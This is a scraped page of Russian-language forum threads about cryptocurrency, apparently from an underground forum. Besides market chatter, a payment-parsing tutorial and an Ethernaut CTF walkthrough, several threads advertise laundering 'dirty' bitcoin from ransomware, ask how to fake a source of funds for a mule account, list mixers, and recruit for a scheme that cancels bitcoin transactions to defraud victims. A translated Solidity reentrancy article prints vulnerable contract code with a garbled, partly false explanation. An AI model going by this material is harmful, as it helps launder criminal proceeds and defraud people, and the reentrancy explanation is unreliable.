Failure to remove developer or test credentials or addresses from a SmartContract
XSS in wallets and smart contract interfaces via company names/et
Прогнозы на биток
ID: 67686ad7b4103b69df379933
Thread ID: 68588
Created: 2022-06-13T10:30:22+0000
Last Post: 2022-07-24T14:29:02+0000
Author: Couley Erma
Replies: 74 Views: 2K

Итак биток скатился в в ссаное говно в 24k впервые за полтора года. Пиздят на фрс. Какие прогнозы и мысли у кого есть?

Какой кошелёк для битка лучше использовать?
ID: 67686ad7b4103b69df37993b
Thread ID: 68068
Created: 2022-06-03T08:29:01+0000
Last Post: 2022-07-20T14:09:31+0000
Author: DigitalScout
Replies: 36 Views: 2K

Чтобы с маленькой комиссией и без особых заморочек, для новичка так сказать.
В биткоин кор комиссия нормальная?

Прием платежей BTC, ETH, DASH, LTC без посредников и приватных ключей (2021)
ID: 67686ad7b4103b69df379946
Thread ID: 54598
Created: 2021-07-30T12:06:35+0000
Last Post: 2022-07-04T14:59:54+0000
Author: marmalade
Prefix: Статья
Replies: 5 Views: 2K

Когда писал свою приемку нигде не мог найти нормальную статью и посвятил около 3-ех дней чтобы понять ситуацию и оценить рынок данных сервисов. Около недели ушло на то, чтобы найти подходящие API сервисы и стабильно парсить блокчейн. Информацию можно найти, но вся она недостоверная либо устаревшая.

Набрался реальный опыт продакшена и обслуживания нескольких шопов, чтобы рассказать как конкретно реализовать действительно работающую приемку оплаты в крипте. В этой же статье я опишу подход и сделаю подробный анализ подводных камней, на которые наткнется каждый, кто решиться написать свой прием платежей в крипте.

Формулируем цель : простая, бесплатная, стабильная приемка оплаты для минимальной vps’ки с zero trust подходом (без приватного ключа)

Чтобы принимать платежи в крипте, есть несколько вариантов, точнее один – это парсить блокчейн, а вот вариантов реализаций несколько:

Мерчанты

Минусы:

Плюсы:

С мерчантами не хотелось возиться, потому что они берут процент, брендируют окно оплаты, собирают мета данные, что вообще не трушно. Ну и само собой, большинство из них слишком бюрократичные и не заботятся о нашей анонимности.

АПИ сервисы

Есть множество АПИ сервисов, которые могут предоставлять ту или иную информацию, но это не всегда про прием оплаты. Я потратил некоторое время чтобы обнаружить, что некоторые сервисы предоставляют лишь экономический анализ волатильности, стакана и пр. Некоторые, имеют сложную регистрацию, порою с ручной модерацией, а некоторые и вовсе не работают.

Бесплатных, действительно мало и они имеют сильные лимиты, у платных же, ценообразование у них Х запроов в Y времени, например 1000 запросов в минуту при общих 100 000 в месяц. Несколько прикинув в голове кол-во запросов я неожиданно обнаружил, что мерчантом будет пользоваться даже выгодней.

Локальный блокчейн журнал на один кошелек

Поднимать свою блокчейн ноду на сервере необходимо под каждую криптовалюту, это требует не только времени и дальнейшей поддержки работоспособности но и дискового пространства. Биткоин журнал уже давно перевалил за 300 гигабайт.

И пока я, как стрелка компаса, дергался между мерчантами и апи сервисами, внутренняя жаба квакнула и сказала что будет парсить все транзакции кошельков сама и сохранять их в локальную базу данных для последующей сверки.

Это решение необходимо было оставить до следующего утра, обдумать и проснувшись, я уже не чесал репу, а думал какую базу для хранения взять и что может пойти не так. Это хорошее решение, так как можно использовать несколько апи сервисов, ротируя их, пока не закончаться лимиты, а если и их не хватит – всегда можно прикрутить самые дешевые прокси. Тор, кстати, уже активно экплоатировался на многих АПИ сервисах и с его помощью не всегда получается спарсить блочейн, но это самый доступный и простой ротируемый прокси.

Взяв несколько сервисов, написав под них парсер, объеденив в общий пул, пришлось половить несколько багов, посверять хеши транзакций, посуммировать транзакции в одном большом блоке, вообщем обкатать это решение. Но зато, не нужно никому платить, не зависить от 1-ого провайдера данных, иметь свободу и независимость.

Python:Copy to clipboard

try:
    txs = parse_blockcypher(wallet, ticker)
except:
    print(f"Something wrong with blockcypther")
    try:
        txs = parse_chainso(wallet, ticker)
    except:
        print(f"Something wrong with chainso")

Бесплатные blockchain explorer API

Про Chainso уже было описано в одной статье, с реализацией на php, поэтому про этот сервис не буду писать, у него хорошие бесплатные лимиты, 300 запросов в минуту, но он не поддерживает Segwit адресса, а именно bn*** и 3***, только 1***, и на практике - иногда просто неработает, т.к. разрабы все никак не выкатят платную версию, поэтому не могут обещать стабильности

Поэтому, в данной статье я рассмотрю blockcypher, а чейнсо можно использовать как второй, резервный провайдер данных. в случае есть блоксайфер будет недоступен или порежет IP на лимит.

Сайфер нам скромно предоставляет 3 запроса в секунду и 200 запросов в час. Тут я чуть было не отказался от своей затеи, ведь по сравнению с чейнсо, данные лимиты совершенно крохоборские. Но несколько раз обдумав общий подход к проверке транзакций я понял, что этого будет достаточно. Ведь к локальной базе данных можно обращаться безлимитно, а вот синхронизировать ее с блокчейном можно в ленивом режиме, например 1 раз в минуту. Получается 60 запросов в час на один кошелек в одной валюте. Для четырех валют выходит 1 запрос в 72 секунды. Вполне оперативно. Например, на сервисе sms-activate для ждал зачисление баланса более 10 минут после подтверждения транзакции.

И это только с помощью одного сервиса и без прокси. Chainso может подстраховать LTC и часть BTC кошельков, но в данном случае, я бы рекомендовал blockchain.info, хоть там и cloudflare на фронтенде.

Парсим API Blockcypher

Рассмотрим на примере парсинга BTC блокчейна.

Python:Copy to clipboard

url = "https://api.blockcypher.com/v1/btc/main/addrs/37mFrx7otSSzUizXmPXbKo1xHMZeiZpxh9/full?limit=50"

АПИ Сайфера достаточно простое с одной лишь загвоздкой, по запросу на кошелек – выдает транзакции с максимум в 20 input/output чанков, если их больше, то необходимо делать дополнительный АПИ запрос на хеш транзакции, чтобы собрать общую сумму транзакции. Поэтому на и нужен chainso, а так же, можно поставить лимит на кол-во транзакций по АПИ. Вот так устроен блокчейн, вы возможно видели нечто подобное:

1627645835900.png

Поэтому, чтобы собрать сумму перевода, необходимо пройтись по всем инпутами и аутпутам и просуммировать value, если в адресах есть необходимый нам кошелек. Намного проще это можно объяснить с помощью кода:

Python:Copy to clipboard

    r = requests.get(url)
    data = r.json()
    txs = data['txs']
    for tx in txs:
        val = 0
        for out in tx['outputs']:
            if wallet in out['addresses']:
                val = out['value'] + val
        for inp in tx['inputs']:
            if wallet in inp['addresses']:
                val = inp['output_value'] * -1 + val
        if 'next_outputs' in tx:
            nxt = tx['next_outputs']
            url = nxt.replace('limit=20', 'limit=999999')
            r = requests.get(url)
            data = r.json()
            for out in data['outputs']:
                if wallet in out['addresses']:
                    val = out['value'] + val
            for inp in data['inputs']:
                if wallet in inp['addresses']:
                    val = inp['output_value'] * -1 + val
        if type(val) == int:
            val = val / pow(10, 8)
    tx = [hash, wallet, ticker, val, dt, confirms]

В input собираем исходящую транзакцию, в output собираем входящую, которая нам и необходима для сверки с плательщиком

1627643121500.png

Безопасность

Но как нам понять, кто именно из пользователей сделал перевод, если кошелек для всех один общий? В случае QIWI или Yoomoney – можно написать примечание, а в случае криптовалюты – нельзя (ну кроме эфира). В таком случаем мы можем ориентировать только на сумму перевода.

Восьмизначное число исчесляемое сатошами, в случае Bitcoin, довольно уникально, но вдруг, у вас тысячи пользователей которые могут платить одновременно и это число совпадет двоих и больше пользователей? Можем начислить им всем по мере подтверждения транзакций,но кому первому и опять, вдруга, кто из них, случайно или умышленно, мог указать слишком маленькую комиссию и транзакция не прошла, но была ему зачислена вместо более добросовестного покупателя?

Это редкий случай и он просто решается добавлением 1 сатоши к общей сумме ожидаемой транзакции. Вообщем, сумма транзакции должна быть всегда уникальна.

Итог

Имеем простую приемку платажей, которая будет работать на сервере и с 128 Mbit RAM, которая не хранит ни приватных ключей ни каких-либо данных, ей нет оснований не доверять или ожидать подлог и довольно надежная из-за несколких источников данных, достаточно добавить столько необходимых резервных функций с парсилкой любого публичного блокчейна, чтобы приобрести ощущение стабильности, в моем случае 4-ех сервисов хватило.

Торги на Бинансе (binance)
ID: 67686ad7b4103b69df379960
Thread ID: 58893
Created: 2021-11-15T08:03:47+0000
Last Post: 2022-06-02T17:20:21+0000
Author: download36
Replies: 47 Views: 2K

всем привет. что такое крипта думаю не стоит размусоливать. есть ребята, группа трэйдеров, которые торгуют на бинансе на ваши деньги. сами себе создаёте счёт, даёте API без возможности вывода и вперёд. кто в москве можно и встретится. всё по контракту. ребятам надо платить только с дохода. если кого интересует, пишите

DEL
ID: 67686ad7b4103b69df379961
Thread ID: 67417
Created: 2022-05-20T15:36:53+0000
Last Post: 2022-05-31T09:26:53+0000
Author: MUUN
Prefix: Статья
Replies: 3 Views: 2K

Не актуально

Взлом $olidity: повторный вход
ID: 67686ad7b4103b69df37996b
Thread ID: 67613
Created: 2022-05-25T04:50:31+0000
Last Post: 2022-05-25T04:50:31+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 2K

1653451562570.png

Уязвимость повторного входа использует функцию, которая несколько раз

вызывает untrusted contract.​

Давайте рассмотрим упрощенный пример:​

Code:Copy to clipboard

    mapping (address=>uint) balances;

    function deposit() public payable { balances[msg.sender] += msg.value; }

В этом коде злоумышленник может неоднократно вызывать функцию депозита, чтобы снять больше эфира, чем было первоначально депонировано. Причина этого в том, что Solidity объединяет все изменения состояния и запускает их сразу после возврата из функции. В этом случае balances[msg.sender] считывается до того, как ему будет присвоено новое значение, потому что он еще не был обновлен предыдущим deposit() , который все еще выполняется, когда начинается следующий вызов. Если другой контракт Solidity вызывает deposit() , он также будет подвержен повторным атакам. Такие языки, как C++ и Python, не подвержены повторному входу, потому что в них нет пакетной обработки изменений состояния в отдельных функциях!

В Solidity это возможно, потому что все изменения состояния объединяются и

применяются сразу после возврата всех функций. ​

Возможность вызывать функции из других функций — мощный инструмент, но он также может быть опасным. В Solidity это возможно, потому что все изменения состояния объединяются и применяются сразу после возврата всех функций. Причина этого в том, что пользователи могут быть уверены, что состояние не изменится между вызовами функций. Это компромисс, который Ethereum делает для повышения безопасности, но это означает, что мы должны быть осторожны с тем, как мы вызываем функции.

Пользователь может использовать функцию transfer() для многократного вызова withdraw().

Вы можете видеть, что мы уменьшили баланс на 100 эфиров после однократного вызова withdraw(), оставив в контракте баланс в 99 эфиров. Однако злоумышленник может вызвать функцию withdraw() еще раз, вызвав transfer(). Помните, что функция transfer() вызывает withdraw() перед переводом средств на адрес назначения. Поэтому если мы отправим еще 1 эфир на этот контракт, это вызовет еще один вызов функции withdraw() и еще больше уменьшит наш баланс на 2 эфира.

Вот код, как выглядит уязвимый контракт, с двумя общими функциями (конструктор и функция withdraw())

Code:Copy to clipboard

    contract VulnerableContract {

    uint public balance = 100 ether;

    constructor () public payable {}

    function withdraw() external {

    address(this).transfer(balance); // отправляем все оставшиеся средства владельцу контракта

    balance = 0;

    }

    }

Конструктор устанавливает начальный баланс в 100 эфиров, а функция withdraw() позволяет владельцу вывести все оставшиеся в контракте средства.

Code:Copy to clipboard

    pragma solidity ^0.4.0;

    contract Reentrancy {

    mapping (address => uint) public balances;

    address owner;

    function Reentrancy() public {

    owner = msg.sender;

    balances[msg.sender] = 100 ether; // the initial balance is set at 100 ethers

    }

function withdraw() public { -->> владельцу снять любой оставшийся баланс в контракте (обратите внимание, что это не оплачиваемая функция, что означает, что вы не можете отправить Эфир непосредственно в нее).

if (!msg.sender.send(balances[owner])) revert(); -->> Если отправка средств не удалась, отмените все изменения состояния, сделанные в транзакции, и восстановите балансы в первозданное состояние, чтобы никакие переводы не были зарегистрированы ни на одном счете (фактически отменяя все, что мы сделали). Без этого злоумышленник смог бы продолжать вызывать withdraw до успеха и украсть все Эфиры из контракта. '!' указывает на "не", поэтому утверждение становится "Если отправка средств не провалилась...", что означает, что если она прошла успешно, то выполнить соответствующее действие, следующее за следующим ("revert" в данном случае).

delete balances[owner]; -->> данные, установив их значение равным нулю или false или null, в зависимости от типа переменной. В данном случае "delete" обнулит значение переменной "balances", сохранив при этом выделенное ей место в памяти блокчейна и предотвратив запись в нее других данных в дальнейшем.

Теперь давайте посмотрим, как злоумышленник может взломать этот контракт, вызывая transfer(...) несколько раз, изменяя баланс и снимая больше, чем было первоначально внесено.

Пользователь вносит депозит в размере 10 эфиров. Затем вызывается функция withdraw(). Эта функция вызывает функцию transfer() , чтобы отправить баланс на счет абонента. Но прежде чем эта функция будет выполнена, абонент снова вызывает функцию withdraw() , фактически удваивая снятую сумму!

Будьте осторожны при вызове других контрактов внутри своего контракта!

Очень легко случайно вызвать вредоносный контракт, который выполняет операции, которые вы не планировали. Например, злоумышленник может послать вашему контракту эфир, а затем заставить код вернуться в ваш контракт с дополнительными переводами баланса, которые многократно опустошают ваш счет.

Чтобы избежать этой проблемы, вам следует помнить о нескольких вещах:

Убедитесь, что вы понимаете, что делают другие контракты, прежде чем вызывать их. Вы можете прочитать их исходный код и/или вручную дизассемблировать байткод, чтобы проверить это. Если вы не можете этого сделать, то, возможно, лучше не полагаться на эти контракты.
Убедитесь, что вы знаете, сколько эфира будет переведено, чтобы перевод прошел успешно (и чтобы не было переведено больше, чем предполагалось). Это включает в себя учет Эфира, отправленного вызывающей функцией (msg.value) , а также любые вызовы методов forward или подобных, которые могут привести к пересылке большего количества Эфира, чем было первоначально заложено в msg.value. (Если злоумышленники вызовут вашу функцию с достаточно большим значением msg.value, они могут нанести определенный ущерб). Убедитесь, что вызываемый вами контракт не обращается обратно к вашему контракту со значением extraBalance выше 0, если он полагается на send или подобные функции для перевода средств, поскольку, опять же, это может позволить злоумышленнику с достаточным количеством Эфира создать проблемы. В частности, обратите внимание, что если не указано иное, счета, принадлежащие внешним владельцам, могут свободно игнорировать все остальные соображения и выполнять произвольные действия, когда им вздумается, поэтому постарайтесь не стать жертвой, если это произойдет! Убедитесь, что вы знаете, кто является владельцем контракта и существуют ли какие-либо проблемы безопасности, связанные с правом собственности, такие как возможность переназначения и т.д..

Перевод вот [ЭТОЙ ](https://coinsbench.com/solidity-hacking-re- entrancy-113d03fc1992)статьи.

Методичка Европола, по преступлениям с криптой.
ID: 67686ad7b4103b69df37998b
Thread ID: 59241
Created: 2021-11-24T10:15:34+0000
Last Post: 2022-03-21T11:20:26+0000
Author: MikeErmantraut
Prefix: Мануал/Книга
Replies: 8 Views: 2K

Может было уже, тем не менее думаю будет полезным, такое чтиво.

![dropmefiles.com](/proxy.php?image=https%3A%2F%2Fdropmefiles.com%2Fimages%2Fshare- logo_vk.png&hash=3f67b87028329be58fe8d4c73ccac7b9&return_error=1)

[ DropMeFiles – free one-click file sharing service

](https://dropmefiles.com/fQbKx)

Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.

dropmefiles.com dropmefiles.com

Помогите советом! Локнули транзакцию
ID: 67686ad7b4103b69df379997
Thread ID: 61831
Created: 2022-01-23T06:40:46+0000
Last Post: 2022-02-13T09:03:19+0000
Author: MikeErmantraut
Replies: 40 Views: 2K

Привет товарищи Нужна ваша помощь, обменник заморозил битки при выводе в фиат. До этого все ок было, пускал и по 2 и по 3 битка. Просят вериф из 5 пунктов с подтверждением происхождения средств. Дроп есть, но что писать в пункте о происхождении, просят также выписки и доки если есть? Может кто-то сталкивался?
AML 42%
Хорошо заплачу за дельный совет! Обменник avanchange

NFT снайпер
ID: 67686ad7b4103b69df3799af
Thread ID: 60945
Created: 2022-01-06T22:01:58+0000
Last Post: 2022-01-10T08:56:20+0000
Author: krakenum123
Replies: 33 Views: 2K

Кто смотрит на мир nft, знает, что сегодня был публичный запуск 5k monkeyball, , хз что там произошло, но через 30 минут один парень написал в твиттере, что через 5 минут он снял этот nft за 3.8sol на magiceden, когда средняя цена была выше 10sol, и сказал он купил эту "программу" очень дешево и заработал около 1k$ за несколько минут, понятно он снайпнул его,но действительно ли это возможно? если это правда, то почему не все его используют тогда :)

с твитом было фото

Почему Monero не обеспечивает анонимность
ID: 67686ad7b4103b69df3799b4
Thread ID: 58024
Created: 2021-10-22T17:14:35+0000
Last Post: 2021-12-17T15:21:57+0000
Author: tabac
Replies: 28 Views: 2K


Только красная стрелка ведёт к настоящей монете, остальные — фейковые дубли

Monero — ведущая криптовалюта, ориентированная на конфиденциальность. Основана на протоколе CryptoNote 2.0 от 2013 года. Он исправляет недостатки биткоина, в том числе явную связность входа и выхода транзакции (отсутствие анонимности). В Monero к настоящим входам добавляются «миксины», что не даёт возможность определить, кто именно передаёт конкретную монету.

Но в 2018 году выяснилось, что в Monero тоже всё легко отслеживается. А ведь транзакции навсегда сохранены в блокчейне — и по ним можно деанонимизировать конкретных людей даже спустя много лет. Например, владельца Bitcoin Fog выдал анализ блокчейна от 2011 года.

Три года назад группа исследователей из Принстона, университета Карнеги — Меллона, Бостонского университета, МТИ и Иллинойского университета в Урбана — Шампейна указали на недостатки в миксере Monero, что позволяет связать конкретные входы и выходы.

Исследователи отмечают, что простые трюки позволяют наблюдателю определить некоторые из ложных миксинов. Например, до февраля 2017 года система позволяла пользователям отказаться от защиты конфиденциальности и тратить монеты вообще без миксинов. Поэтому в блокчейне за тот период 64,04% всех транзакций проведено без миксинов, то есть совершенно без защиты конфиденциальности, как в биткоине. (После изменения протокола Monero уже требует установить минимум четыре миксина для каждой транзакции.) Но проблема в том, что эти 64% идентифицированных монет впоследствии добавляются к другим миксинам, что помогает идентифицировать и остальные монеты. Анализ показал, что таким способом можно идентифицировать 63% остальных.

Вторая проблема связана с временем проведения транзакций. Алгоритм должен был распределять миксины в случайном порядке. Но анализ реальных транзакций в блокчейне показал, что настоящую монету он помещал на первое место среди миксинов в 92,33% случаев. Согласно симуляции, эта цифра составляет 80%, практически сводя на нет гарантии конфиденциальности Monero.

Разработчики Monero производят постоянные улучшения в протоколе, чтобы снизить этот процент выявления настоящих входов в транзакциях. На графике показано, как он снижался за несколько лет, вплоть до 15 апреля 2017 года. Прогресс заметный, удалось снизить уровень деанонимизации до 20%. Но это далеко не ноль, и можно предположить, что сейчас он находится где-то в диапазоне 5−15%.

Также из графика понятно, что вероятность выявления истинных транзакций сильно зависит от количества миксинов.

Важно отметить, что всё это помогает определить только отправителя монеты, но не получателя, поскольку Monero скрывает адреса получателей с помощью другой техники.

Поскольку Monero создавалась именно для обеспечения конфиденциальности, то пользователи рассчитывали на эту анонимность. И многие использовали Monero для совершения конфиденциальных и чувствительных транзакции, в том числе связанных с незаконной деятельностью… Самый простой пример — покупки в подпольных магазинах каких-нибудь товаров, запрещённых российским законодательством, таких как марихуана или оружие. Или транзакции активистов оппозиции в авторитарных странах. Примеров множество, ведь по определению ООН, анонимность — это неотъемлемое право человека.

Понятно, почему пользователи рассчитывают на приватность в Monero. Ведь эта компания на своём сайте [официально заявляет](https://www.getmonero.org/get- started/what-is-monero/), что транзакции «невозможно отследить» (untraceble).

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fr%2Fw1560%2Fwebt%2Fyp%2Fc-%2Fnb%2Fypc- nbkqafikdcl5gqvqhxkjdbk.png&hash=6471484bf52664afd6499857c406f4cf)

Теперь оказывается, что пользователей Monero можно деанонимизировать так же, как пользователей Bitcoin. О методах деанонимизации биткоинеров можно почитать, например, в научной статье Deanonymisation of Clients in Bitcoin P2P Network (Алекс Бирюков, Дмитрий Ховратович, Иван Пустогаров, CCS '14: Proceedings of the 2014 ACM SIGSAC Conference on Computer and Communications Security, ноябрь 2014, стр. 15–29, DOI: 10.1145/2660267.2660379), ну или в реальном уголовном деле против Романа Стерлингова, владельца миксера Bitcoin Fog, упомянутом в начале.

Интересно, что среди авторов этой научной работы числится Эндрю Миллер, советник Zcash, другой криптовалюты, ориентированной на приватность.

источник

Какую крипту купить ?
ID: 67686ad7b4103b69df3799c3
Thread ID: 58442
Created: 2021-11-02T17:38:02+0000
Last Post: 2021-11-24T17:40:57+0000
Author: nelu
Replies: 68 Views: 2K

Добрый вечер форумчане .
Хотел бы спросить какую крипту купить ?
Что бы была с большой вероятность что вырастит
Крипта что бы была на бинансе

Как разводят мамонтов на бабки
ID: 67686ad7b4103b69df3799d1
Thread ID: 58486
Created: 2021-11-04T10:59:08+0000
Last Post: 2021-11-08T13:49:31+0000
Author: yashechka
Prefix: Статья
Replies: 9 Views: 2K

Вот видео -

Самое главное находятся мамонты, которые верят. Чел в своей канале телеге объявил марафон и сказал что сделает из 1к -10к, но у него уже 10к сейчас за два дня :D

Kraken
ID: 67686ad7b4103b69df3799e1
Thread ID: 57203
Created: 2021-09-29T21:20:26+0000
Last Post: 2021-09-29T21:20:26+0000
Author: ShredGnar
Replies: 0 Views: 2K

Кто-нибудь использует обмен kraken? нравиться?

Чистые bitcoin с обменника. Изучаю спрос
ID: 67686ad7b4103b69df3799e5
Thread ID: 51479
Created: 2021-05-06T18:13:08+0000
Last Post: 2021-09-16T10:01:21+0000
Author: cleanbtc
Replies: 21 Views: 2K

Приветствую! Уважаемое комьюнити, к вам вопрос! Ни для кого не секрет, что сейчас очень легко отследить происхождение биткойнов.
Происхождение той или иной криптовалюты можно узнать буквально за несколько долларов.
У меня есть отлаженная схема, как сделать из 100% грязных монет - чистые. Собственно её и хочу запустить в массы!

Скажите, интересен ли Вам сервис по отмыву биткойна? Ищете ли что-то подобное или может задумывались?

Не обычный миксер в привычном понятии, как его все привыкли видеть, а чистые risk free биткойны с топовых криптовалютных бирж , которые не палятся ни по одному chain analysis трекеру как полученные от незаконной деятельности. Например ransomware/**********/money laundering и так далее..

По всем известному сервису amlbot превращаю ваши 99.9% - 100% грязные битки в абсолютно чистые! С уровнем опасности меньше 20%

Мои биткойны с радостью примет без локов любая биржа и обменник. Будь то binance или нудный обменник с bestchange.

Плюсы сервиса - В первую очередь на кону Ваша личная безопасность и спокойствие.

Свою комиссию вижу в районе от 7 до 10 процентов. Миксеры которые меняют грязь на грязь берут меньше, но толку от такой перестановки?

Так же могу оказывать услугу по отмыву и обмену других криптовалют. Например засылаете грязный биток и на выходе получаете чистый usdt или любую другую криптовалюту с биржи. Для постоянных клиентов будут консультации по легализации доходов без вопросов от налоговых и спецслужб. Полный сервис под ключ, но это в будущем! Сначала хочу запуститься по биткойну :)

Кому интересно, прошу выразить свой интерес путём ответа в тему или лс.
Аргументированную критику буду рад выслушать. Если интерес есть, то я вношу депозит и запускаю подобный сервис, будем отмывать ваши доходы.

С уважением, cleanbtc.

Подборка биткоин миксеров в 2021 году
ID: 67686ad7b4103b69df3799ed
Thread ID: 51481
Created: 2021-05-06T19:06:05+0000
Last Post: 2021-08-31T15:17:53+0000
Author: baykal
Replies: 21 Views: 2K

Принцип работы миксеров
Существует два типа биткоин миксеров:

  1. Централизованный миксер — сервис, в котором качество работы зависит от количества его пользователей. В данном случае миксер является посредником при обмене биткоинов пользователей друг у друга;
  2. Децентрализованный или пиринговый миксер — служит местом встречи для пользователей, чтобы организовать смешивание их криптовалюты между собой. При этом ни один из участников не знает взаимосвязь между начальным адресом и адресом назначения.

Чуть подробнее рассмотрим принцип работы централизованных миксеров. Чтобы запутать следы, вы отправляете криптовалюту на адрес сервиса, которая в дальнейшем разбивается на части и отправляется в резерв. Из общего резерва, на ваш новый кошелек, высылаются монеты, отправленные ранее другими пользователями (все это происходит таким образом, что-бы вы никогда не получили обратно свои же монеты).

  1. Blender
  2. BitMixer
  3. UltraMixer
  4. FoxMixer

Blender
Blender.io один из лучших сервисов смешивания, особенно для начинающих или тех, у кого недостаточно технических знаний. Помимо того, что сам сайт очень удобен, сервис позволяет пользователям самостоятельно определять сумму комиссии за обслуживание. Но есть и недостаток, состоящий в том, что у нее нет собственной системы поддержки, а общение с пользователями происходит через электронную почту.

BitMixer
Один из старейших и самый надежный сервис. При этом имеющий максимально простой и понятный интерфейс. Весь процесс анонимизации биткоинов займет не более пяти минут. Также есть приветственный минимальный лимит депозита, полезный для новичков желающих поэкспериментировать с миксерами.

UltraMixer
Отличный биткоин миксер. В наличии несколько функций конфиденциальности, от случайных временных задержек, до нескольких выходных адресов. Также присутствует гарантийное письмо, с которым вы сможете обратиться в поддержку, в случае непредвиденной ситуации.

FoxMixer
Биткоин миксер не уступающий предыдущим практически ни в чем. В наличии даже анонимизация IP-адрес отправителя транзакции. Из минусов только комиссия в 1%, которая получается довольно высокой, при отправке большого количества биткоинов.

CTF разбор по смарт контрактам. (1)
ID: 67686ad7b4103b69df3799f5
Thread ID: 55340
Created: 2021-08-15T15:21:13+0000
Last Post: 2021-08-15T15:21:13+0000
Author: frog2
Prefix: Статья
Replies: 0 Views: 2K

Всем привет. Я хочу запустить серию статей по разбору CTF заданий, которые связаны со смарт-контрактами. Надеюсь кого нибудь заинтересует данная тематика, статья написано больше для новичков, но предполагаю, что вы должны быть знакомы с solidity и теории кодирования на базовом уровне. Решать задачи я буду на такой платформе как ethernaut. Интересно, что сам CTF построен на отдельных контрактах.

0 уровень знакомит нас как взаимодействовать с контрактами через ABI в консоли браузера, как пополнить свой баланс в тестовой среде, как вызывать различные методы и т.д.
1.png

Подключим MetaMask к Rinkeby test network.
Узнаем какие нам доступны методы.
2.png

Сверим наш адрес кошелька в консоли.
3.png

Узнаем наш баланс.
4.png

Как я ранее писал, CTF построен на контрактах и гланый контракт это ethernaut.sol. Ethernaut по сути выдает нам экземпляры уязвимых контрактов.
5.png

В главном контракте мы можем вызывать доступные нам методы. Например узнать адрес владельца контракта.6.png

Замайним немного эфира и создадим для нас экземпляр контракта нажав синею кнопку. Нужно понимать, что любое изменение состояния контракта сопровождается транзакцией.
В результате получаем новый контракт, давайте узнаем информацию о доступных методах.
7.png

Нам дают подсказку, что в методе info1() есть что-то интересное.
8.png

Окей, нам предлагают вызвать метод info2() с аргументом "hello".
9.png

Нас опять перекидывают только на свойство infoNum, давайте посмотрим более детально список всех методов, какой они имеют тип, изучим модификаторы доступа в них.
10.png

Подсказка нам говорит, что нужно присмотреться к методу authenticate() по названию можно судить, что это аутентификация, а где есть аутентификация там нужно предъявить пароль. Посмотрим на список публичных методов и найдем с именем "password", он доступен и можем посмотреть данные метода. Находим пароль.
11.png

Хочу обратить внимание, подсказка так же была в методе method7123949().
12.png

Чтобы наконец решить данный уровень, мы авторизуемся с паролем, который мы нашли.
13.png

Таким образом мы прошли 0 уровень.
14.png

Ищу чела для ворка по отмене транзакций в битке (мамонтов куча)
ID: 67686ad7b4103b69df3799f9
Thread ID: 54517
Created: 2021-07-28T14:58:25+0000
Last Post: 2021-08-11T09:28:44+0000
Author: Zaywooooo
Replies: 27 Views: 2K

Так как в битке можно отменить транзу, то почему бы это не монетизировать
Связь - @ShoppifyFN

Программирование DeFi: Uniswap. Часть 2
ID: 67686ad7b4103b69df3799fa
Thread ID: 55145
Created: 2021-08-10T18:13:17+0000
Last Post: 2021-08-10T18:13:17+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

[Автор оригинала: Ivan Kuznetsov](https://medium.com/coinmonks/programming- defi-uniswap-part-2-13a6428bf892)
Перевод: Дружининъ @druzhcom

Введение​

Это вторая часть серии статей о программировании DeFi смарт-контрактов. В предыдущей части мы впервые соприкоснулись с Uniswap, его основной механикой и начали создавать смарт-контракт Биржи, который может принимать ликвидность от пользователей, рассчитывать суммы вывода и выполнять обмены.

Сегодня мы собираемся закончить реализацию Uniswap V1. Хотя это не будет полная копия Uniswap V1, но она будет иметь все основные функции.

Эта часть наполнена новым кодом, поэтому давайте перейдем непосредственно к нему.Чтобы увидеть полный код проекта нажмите здесь .

Увеличение ликвидности​

В предыдущей части мы говорили о том, что наша реализация addLiquidity не совершена. На это была причина, и сегодня мы завершим разработку этой функции.

Пока что функция выглядит так:

Code:Copy to clipboard

function addLiquidity(uint256 _tokenAmount) public payable {
  IERC20 token = IERC20(tokenAddress);
  token.transferFrom(msg.sender, address(this), _tokenAmount);
}

Какая в ней проблема? Функция позволяет в любой момент добавить произвольное количество ликвидности.

Как вы помните, обменный курс рассчитывается как соотношение резервов:

Где Px и Py - цены eth и токена; x и y - запасы eth и токена.

Мы также узнали, что обмен токенов изменяет резервы нелинейным образом, что влияет на цены, и что арбитражники получают прибыль, балансируя цены таким образом, чтобы они совпадали с ценами на крупных централизованных биржах.

Проблема нашей реализации заключается в том, что наш код позволяет существенно изменять цены в любой момент времени. Или, другими словами, текущая реализация функции не обеспечивает соблюдение соотношения текущих резервов и новой ликвидности. Это является проблемой, потому что это позволяет манипулировать ценами, а мы хотим, чтобы цены на децентрализованных биржах были максимально близки к ценам на централизованных биржах. И мы хотим, чтобы наши смарт-контракты Бирж выступали в качестве ценовых оракулов.

Таким образом, мы должны гарантировать, что добавляемая ликвидность размещается в той же пропорциональном соотношении eth-токен, которая уже установилась в пуле. В то же время мы хотим, чтобы на этапе создания Биржи ликвидность поступала в произвольной пропорции eth-токен, когда изначальные резервы пусты, т.е. когда пул еще не инициализирован. Это важно, так как именно в этот момент цена eth-токен устанавливается в первый раз.

Теперь addLiquidity будет иметь две ветви:

  1. Если это новая Биржа (без ликвидности, пул пуст), позволить завести произвольное количество ликвидности.
  2. В противном случае, соблюсти установленную пропорцию резервов, когда есть ликвидность.

Первая ветвь остается без изменений:

Code:Copy to clipboard

if (getReserve() == 0) {
    IERC20 token = IERC20(tokenAddress);
    token.transferFrom(msg.sender, address(this), _tokenAmount);

Вторая ветвь это уже новый код:

Code:Copy to clipboard

} else {
    uint256 ethReserve = address(this).balance - msg.value;
    uint256 tokenReserve = getReserve();
    uint256 tokenAmount = (msg.value * tokenReserve) / ethReserve;
    require(_tokenAmount >= tokenAmount, "insufficient token amount");
    IERC20 token = IERC20(tokenAddress);
    token.transferFrom(msg.sender, address(this), tokenAmount);
}

Единственное отличие заключается в том, что мы депонируем не все токены, предоставленные пользователем, а только сумму, рассчитанную на основе текущего соотношения резервов. Чтобы получить сумму, мы умножаем соотношение (tokenReserve / ethReserve) на количество депонированных eth. Если пользователь вложил меньше этой суммы, будет выдана ошибка.

Это позволит сохранить цену при добавлении ликвидности в пул.

LP-токены​

Мы ещё не обсуждали эту концепцию, но она является важной частью дизайна Uniswap.

